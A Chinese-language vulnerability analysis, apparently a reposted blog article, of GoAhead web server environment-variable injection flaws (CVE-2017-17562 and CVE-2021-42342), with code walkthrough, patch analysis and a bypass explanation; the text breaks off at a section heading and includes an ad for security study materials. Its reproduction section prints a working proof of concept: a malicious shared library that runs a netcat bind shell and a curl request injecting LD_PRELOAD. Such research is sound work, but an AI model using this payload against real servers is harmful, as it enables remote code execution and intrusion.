goahead环境变量注入漏洞分析

一、前言

1.1 下载地址

二、CVE-2017-17562

2.1 漏洞分析

cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。

2.2 代码分析

漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:

代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOSTHTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdInstdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPathenvpstdInstdOut作为参数传入launchCgi函数中。

PUBLIC char *websGetCgiCommName()
{
    return websTempFile(NULL, "cgi");
}PUBLIC char *websTempFile(char *dir, char *prefix)
{
    static int count = 0;
    char   sep;    sep = '/';
    if (!dir || *dir == ' ') {
#if WINCE
        dir = "/Temp";
        sep = '\';
#elif ME_WIN_LIKE
        dir = getenv("TEMP");
        sep = '\';
#elif VXWORKS
        dir = ".";
#else
        dir = "/tmp";
#endif
    }
    if (!prefix) {
        prefix = "tmp";
    }
    return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}

进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。

至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。

【—-帮助 安学习,以下所有学习资料关注我,私信回复“资料”获取—-】

 ① 安学习成长路径思维导图

 ② 60+ 安经典常用工具包

 ③ 100+SRC漏洞分析 告

 ④ 150+ 安攻防实战技术电子书

 ⑤ 最权威CISSP 认证考试指南+题库

 ⑥ 超1800页CTF实战技巧手册

 ⑦ 最新 安大厂面试题合集(含答案)

 ⑧ APP客户端安全检测指南(安卓+IOS)

2.3 漏洞复现

下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)

git clone https://github.com/embedthis/goahead.git
cd goahead 
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead

编写恶意动态链接库,代码以及编译命令如下所示:

#include <stdio.h>
#include <stdlib.h>static void main(void) __attribute__((constructor));static void main(void) {
    system("nc -lp 8888 -e /bin/sh");
}// gcc --shared -fPIC poc.c -o poc.so

构造HTTP请求发送

curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0

断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。

2.4 补丁分析

首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。

其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type
application/x-www-form-urlencoded
HTTP请求时会调用。

三、cve-2021-42342

3.1 漏洞分析

cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示:

进入这个函数,当第二个参数为0return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。

上文在对cve-2017-17562补丁进行分析时曾经提到,s-argaddFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg0,绕过的方式也很简单令headercontent-typemultipart/form-data即可。

后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。

3.2 代码分析

为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下layty师傅的文章。

websOpen函数会根据配置启动相应的代码模块

其中关于cgi请求的回调函数通过websDefineHandler函数定义。

websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。

websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。

?

其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。

此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的

调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。

3.2.1 WEBS_BEGIN

声明:本站部分文章内容及图片转载于互联 、内容不代表本站观点,如有内容涉及侵权,请您立即联系本站处理,非常感谢!

(0)
上一篇 2022年8月19日
下一篇 2022年8月19日

相关推荐